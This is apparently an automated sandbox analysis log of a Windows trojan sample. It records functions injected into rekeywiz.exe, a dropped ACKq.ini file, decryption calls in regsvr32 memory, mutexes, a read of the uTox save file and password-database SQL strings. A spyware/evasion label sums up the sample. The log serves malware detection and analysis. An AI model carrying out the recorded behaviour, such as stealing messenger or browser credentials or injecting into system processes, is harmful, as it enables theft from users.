Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12D9750	12_2_00007FF6D12D9750
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E1780	12_2_00007FF6D12E1780
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D124F7E0	12_2_00007FF6D124F7E0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D126B800	12_2_00007FF6D126B800
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12BB7FD	12_2_00007FF6D12BB7FD
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D128DA50	12_2_00007FF6D128DA50
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12A1A40	12_2_00007FF6D12A1A40
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12A3AA0	12_2_00007FF6D12A3AA0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D125BA80	12_2_00007FF6D125BA80
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12F7AC0	12_2_00007FF6D12F7AC0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1259B30	12_2_00007FF6D1259B30
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E5B00	12_2_00007FF6D12E5B00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1271B00	12_2_00007FF6D1271B00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12AF960	12_2_00007FF6D12AF960
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12CB9B0	12_2_00007FF6D12CB9B0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1241A31	12_2_00007FF6D1241A31
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D125DC80	12_2_00007FF6D125DC80
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12F5CE0	12_2_00007FF6D12F5CE0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1275CC0	12_2_00007FF6D1275CC0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D128DD00	12_2_00007FF6D128DD00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12B3B40	12_2_00007FF6D12B3B40
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12DDBE0	12_2_00007FF6D12DDBE0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E9BC0	12_2_00007FF6D12E9BC0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12CDEF0	12_2_00007FF6D12CDEF0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12EBF20	12_2_00007FF6D12EBF20
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D128FF10	12_2_00007FF6D128FF10
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12EBDE0	12_2_00007FF6D12EBDE0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1273DD0	12_2_00007FF6D1273DD0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12B9E0B	12_2_00007FF6D12B9E0B
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12CFE00	12_2_00007FF6D12CFE00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12DA0E0	12_2_00007FF6D12DA0E0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12F40C0	12_2_00007FF6D12F40C0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12BC120	12_2_00007FF6D12BC120
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12F7FA0	12_2_00007FF6D12F7FA0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D124FF83	12_2_00007FF6D124FF83
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12CFFF0	12_2_00007FF6D12CFFF0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1273FB7	12_2_00007FF6D1273FB7
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12D2030	12_2_00007FF6D12D2030
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12BE23A	12_2_00007FF6D12BE23A
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12882A0	12_2_00007FF6D12882A0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12EA2A0	12_2_00007FF6D12EA2A0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D124E28F	12_2_00007FF6D124E28F
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D125C170	12_2_00007FF6D125C170
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12D41B0	12_2_00007FF6D12D41B0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D126E180	12_2_00007FF6D126E180
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12EC1F0	12_2_00007FF6D12EC1F0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D125446C	12_2_00007FF6D125446C
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D125A4A0	12_2_00007FF6D125A4A0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12DE4C0	12_2_00007FF6D12DE4C0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12D8520	12_2_00007FF6D12D8520
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12CC356	12_2_00007FF6D12CC356
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12CC358	12_2_00007FF6D12CC358
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12A03A0	12_2_00007FF6D12A03A0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E06A0	12_2_00007FF6D12E06A0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12526E2	12_2_00007FF6D12526E2
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E6710	12_2_00007FF6D12E6710
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1274579	12_2_00007FF6D1274579
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1280870	12_2_00007FF6D1280870
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D125C860	12_2_00007FF6D125C860
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12C4920	12_2_00007FF6D12C4920
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12D2920	12_2_00007FF6D12D2920
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E4750	12_2_00007FF6D12E4750
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D127A740	12_2_00007FF6D127A740
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12B27A4	12_2_00007FF6D12B27A4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12547CD	12_2_00007FF6D12547CD
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1260820	12_2_00007FF6D1260820
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1284AC0	12_2_00007FF6D1284AC0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E2B00	12_2_00007FF6D12E2B00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12BA990	12_2_00007FF6D12BA990
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12C8A20	12_2_00007FF6D12C8A20
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12EEC60	12_2_00007FF6D12EEC60
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12B8CAC	12_2_00007FF6D12B8CAC
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E8CF0	12_2_00007FF6D12E8CF0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E0CE0	12_2_00007FF6D12E0CE0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12AED00	12_2_00007FF6D12AED00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1282B80	12_2_00007FF6D1282B80
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12E4BF0	12_2_00007FF6D12E4BF0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D125AC30	12_2_00007FF6D125AC30
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1288C00	12_2_00007FF6D1288C00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1292E70	12_2_00007FF6D1292E70
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D124EDB4	12_2_00007FF6D124EDB4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D1270D80	12_2_00007FF6D1270D80
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12EADE0	12_2_00007FF6D12EADE0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D127F060	12_2_00007FF6D127F060
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12AD0A0	12_2_00007FF6D12AD0A0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12CF0A0	12_2_00007FF6D12CF0A0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D12CCFCB	12_2_00007FF6D12CCFCB
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_00007FF6D125F030	12_2_00007FF6D125F030
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138F2D24	12_2_0000022C138F2D24
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13907094	12_2_0000022C13907094
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138FD010	12_2_0000022C138FD010
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138F6F24	12_2_0000022C138F6F24
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13914DE8	12_2_0000022C13914DE8
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13920D90	12_2_0000022C13920D90
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C1391ECE4	12_2_0000022C1391ECE4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13906D18	12_2_0000022C13906D18
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138F7270	12_2_0000022C138F7270
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C1391F1D0	12_2_0000022C1391F1D0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C1390D854	12_2_0000022C1390D854
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13907684	12_2_0000022C13907684
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C139155B0	12_2_0000022C139155B0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C139195D4	12_2_0000022C139195D4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138FF618	12_2_0000022C138FF618
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138E14D0	12_2_0000022C138E14D0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138F5ADC	12_2_0000022C138F5ADC
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13913A38	12_2_0000022C13913A38
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13923A4D	12_2_0000022C13923A4D
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C1391F940	12_2_0000022C1391F940
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13915918	12_2_0000022C13915918
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13913F70	12_2_0000022C13913F70
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13915EC8	12_2_0000022C13915EC8
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138FBEB8	12_2_0000022C138FBEB8
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13903EA4	12_2_0000022C13903EA4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138FDCE4	12_2_0000022C138FDCE4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13926434	12_2_0000022C13926434
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13910478	12_2_0000022C13910478
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138FE398	12_2_0000022C138FE398
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138EC25C	12_2_0000022C138EC25C
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13920270	12_2_0000022C13920270
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13900174	12_2_0000022C13900174
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13920874	12_2_0000022C13920874
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C1391A81C	12_2_0000022C1391A81C
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138FC750	12_2_0000022C138FC750
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C139086B4	12_2_0000022C139086B4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C138E2628	12_2_0000022C138E2628
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C1391CC00	12_2_0000022C1391CC00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C13914A50	12_2_0000022C13914A50
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C1391E984	12_2_0000022C1391E984
Source: C:\Windows\System32\rekeywiz.exe	Code function: 12_2_0000022C139148D0	12_2_0000022C139148D0

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: String function: 00007FF699720EF0 appears 40 times
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: String function: 00007FF699757290 appears 129 times
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: String function: 00007FF69975C9D0 appears 64 times
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: String function: 00007FF699757520 appears 48 times
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: String function: 00007FF6996D7EF0 appears 224 times
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: String function: 00007FF69976D4B0 appears 72 times
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: String function: 00007FF69976C954 appears 41 times
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Code function: String function: 00007FF699757030 appears 31 times
Source: C:\Windows\System32\rekeywiz.exe	Code function: String function: 00007FF6D12ED4B0 appears 72 times
Source: C:\Windows\System32\rekeywiz.exe	Code function: String function: 00007FF6D12EC954 appears 41 times
Source: C:\Windows\System32\rekeywiz.exe	Code function: String function: 00007FF6D12D7030 appears 31 times
Source: C:\Windows\System32\rekeywiz.exe	Code function: String function: 00007FF6D12A0EF0 appears 40 times
Source: C:\Windows\System32\rekeywiz.exe	Code function: String function: 00007FF6D1257EF0 appears 224 times
Source: C:\Windows\System32\rekeywiz.exe	Code function: String function: 00007FF6D12D7520 appears 48 times
Source: C:\Windows\System32\rekeywiz.exe	Code function: String function: 00007FF6D12DC9D0 appears 64 times
Source: C:\Windows\System32\rekeywiz.exe	Code function: String function: 00007FF6D12D7290 appears 129 times

Source: ACKq.ini.0.dr	Static PE information: Number of sections : 11 > 10
Source: 81zBpBAWwc.exe	Static PE information: Number of sections : 11 > 10

Source: 3.3.regsvr32.exe.2a24f90.7.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.3.regsvr32.exe.2a24f90.7.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.regsvr32.exe.1b580000.3.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.regsvr32.exe.1b580000.3.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.regsvr32.exe.12db9ac0.2.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.regsvr32.exe.12db9ac0.2.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.3.regsvr32.exe.2a24f90.6.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.3.regsvr32.exe.2a24f90.6.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.regsvr32.exe.2a24f90.0.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.regsvr32.exe.2a24f90.0.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/16@0/100

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

Code function: 0_2_00007FF6997185F0 memset,FormatMessageW,GetLastError,

0_2_00007FF6997185F0

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

Code function: 0_2_00007FF699727140 CreateToolhelp32Snapshot,memset,Module32FirstW,Module32NextW,UnmapViewOfFile,CloseHandle,UnmapViewOfFile,CloseHandle,CloseHandle,

0_2_00007FF699727140

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

File created: C:\Users\user\AppData\Roaming\ACKq.ini

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Mutant created: NULL
Source: C:\Windows\System32\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\cbRHd
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03
Source: C:\Windows\System32\rekeywiz.exe	Mutant created: \Sessions\1\BaseNamedObjects\uTox
Source: C:\Windows\System32\rekeywiz.exe	Mutant created: \Sessions\1\BaseNamedObjects\MUTEX
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}
Source: C:\Windows\System32\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Jason_OsodJpavasJmnlndsto

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tl2eztg.qzb.ps1

Jump to behavior

Source: 81zBpBAWwc.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\rekeywiz.exe

File read: C:\Users\user\AppData\Roaming\Tox\utox_save.ini

Jump to behavior

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: OpenWith.exe, 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1806927405.00000149EA6F8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: OpenWith.exe, 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1806927405.00000149EA6F8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: OpenWith.exe, 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1806927405.00000149EA6F8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: OpenWith.exe, 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1806927405.00000149EA6F8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: OpenWith.exe, 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1806927405.00000149EA6F8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: OpenWith.exe, 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1806927405.00000149EA6F8000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: OpenWith.exe, 00000004.00000003.1868848640.00000149EA3C2000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868087667.00000149EABF6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1868687963.00000149EABF6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
